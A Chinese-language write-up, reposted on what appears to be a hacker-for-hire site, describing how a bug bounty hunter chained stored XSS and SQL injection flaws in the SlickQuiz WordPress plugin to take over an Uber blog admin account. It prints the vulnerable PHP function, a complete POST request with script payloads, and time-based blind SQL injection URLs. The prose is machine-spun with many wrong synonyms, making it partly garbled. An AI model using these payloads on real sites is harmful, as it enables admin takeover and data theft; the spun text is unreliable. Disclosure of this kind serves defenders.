综合利用SlickQuiz两个0-Day漏洞接管Uber的WordPress网站-黑客接单平台

访客5年前黑客资讯785
本文叙述作者在参与HackerOne的H1-4420竞赛中,针对厂商Uber的某WordPress博客网站为方针,发现其内置问卷调查插件SlickQuiz最新版存在存储型XSS(CVE-2019-12517)和SQL注入(CVE-2019-12516)两个缝隙,经过对这两个缝隙的综合利用,终究获取了方针WordPress网站的管理员凭证,完成了从一般访问者到管理员的提权,作者也因而获得了“更具价值黑客”(MVH)的奖赏。以下是作者在自架WordPress上对缝隙的检验共享。 SlickQuiz问卷成果保存处存在Stored XSS(CVE-2019-12517) 在对插件SlickQuiz的源码审计中,我发现其在保存问卷成果时存在的多个显着存储型XSS,重要的是:不管“Save user scores”(保存用户成果)的选项是否敞开(默许禁用),只需有问卷检验发问呈现就足以触发这种存储型XSS,因为“Save user scores”仅仅仅前端显现的一个敞开选项。 问题出在php/slickquiz-scores.php中的generate_score_row()办法函数上(38-52行),前端用户问卷检验答案等相关回来给SlickQuiz的信息,未经恰当的编码和过滤验证。以下为 generate_score_row()函数代码: function generate_score_row( $score ) { $scoreRow = ''; $scoreRow .= ''; $scoreRow .= '' . $score->id . ''; $scoreRow .= '' . $score->name . ''; $scoreRow .= '' . $score->email . ''; $scoreRow .= '' . $score->score . ''; $scoreRow .= '' . $score->createdDate . ''; $scoreRow .= '' . $this->get_score_actions( $score->id ) . ''; $scoreRow .= ''; return $scoreRow; } 因为用户名$score->name、邮件$score->email和分数$score->score都是前端用户可控的,所以前端用户结构以下这种恳求,就可让后台管理员触发XSS完成: POST /wordpress/wp-admin/admin-ajax.php?_wpnonce=593d9fff35 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: */* Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 165 DNT: 1 Connection: close action=save_quiz_score&json={"name":"xssscript>alert(1)script>","email":"test@localhostscript>alert(2)script>","score":"script>alert(3)script>","quiz_id":1} 任何具有SlickQuiz管理权限的管理员,只需在后台查看了用户成果分数之后,就会触发结构恳求中的Payload: 这个缝隙现已能十分阐明问题了,但我觉得或许还有更多缝隙存在。 SlickQuiz包括id参数的恳求存在SQL注入缝隙(CVE-2019-12516) 经我研讨发现,SlickQuiz插件只需有id参数呈现的恳求中,简直都会存在SQL注入缝隙,如结构以下5秒推迟,包括id参数的三个恳求: /wp-admin/admin.php?page=slickquiz-scores&id=(select*from(select(sleep(5)))a) /wp-admin/admin.php?page=slickquiz-edit&id=(select*from(select(sleep(5)))a) /wp-admin/admin.php?page=slickquiz-preview&id=(select*from(select(sleep(5)))a) 经检验显现,它们都会呈现5秒推迟: [1][2]黑客接单网

相关文章

Chafer运用的新的根据Python的有效载荷MechaFlounder

2019年11月,Chafer要挟小组针对土耳其政府从头运用他们在2019年早些时候运用的基础设施(Clearsky报导的活动中),特别是域名win10-update [.] com。尽管咱们没有见到...

为什么干流网站无法捕获 XSS 缝隙?

 二十多年来,跨站脚本(简称 XSS)缝隙一直是干流网站的心头之痛。为什么过了这么久,这些网站仍是对此类缝隙束手无策呢? 关于最近 eBay 网站曝出的跨站脚本缝隙,你有什么主意?为什么会呈现这样的漏...

怎么全面防护Webshell(下)?

 在进行查询时,最要害的部分之一是找到黑客的进口点,尤其是当运维团队将受进犯的服务器康复正常后,咱们意识到有许多的服务器现已被各种webshell、rootkits和暗码导出东西感染时。 需求快速的...

MySQL联合注入之绕过安全狗到GetShell

发现网上公开过安全狗的办法少之又少,并且根本都是给个大约点就完毕,本文章是将整个进程记录了一遍,因为一开始我也没想到我能成功的绕过去,大约进程是这样:Mysql根底有必要要有–>定位—>f...

恣意用户暗码重置(五):重置凭据可暴破

在逻辑缝隙中,恣意用户暗码重置最为常见,或许出现在新用户注册页面,也或许是用户登录后重置暗码的页面,或许用户忘掉暗码时的暗码找回页面,其间,暗码找回功用是重灾区。我把日常浸透过程中遇到的事例作了缝隙成...

HTTP 的内容安全策略(CSP)

 本文介绍的是W3C的Content Security Policy,简称CSP。望文生义,这个规范与内容安全有关,首要是用来界说页面能够加载哪些资源,削减XSS的发作。 Chrome扩展现已引进了...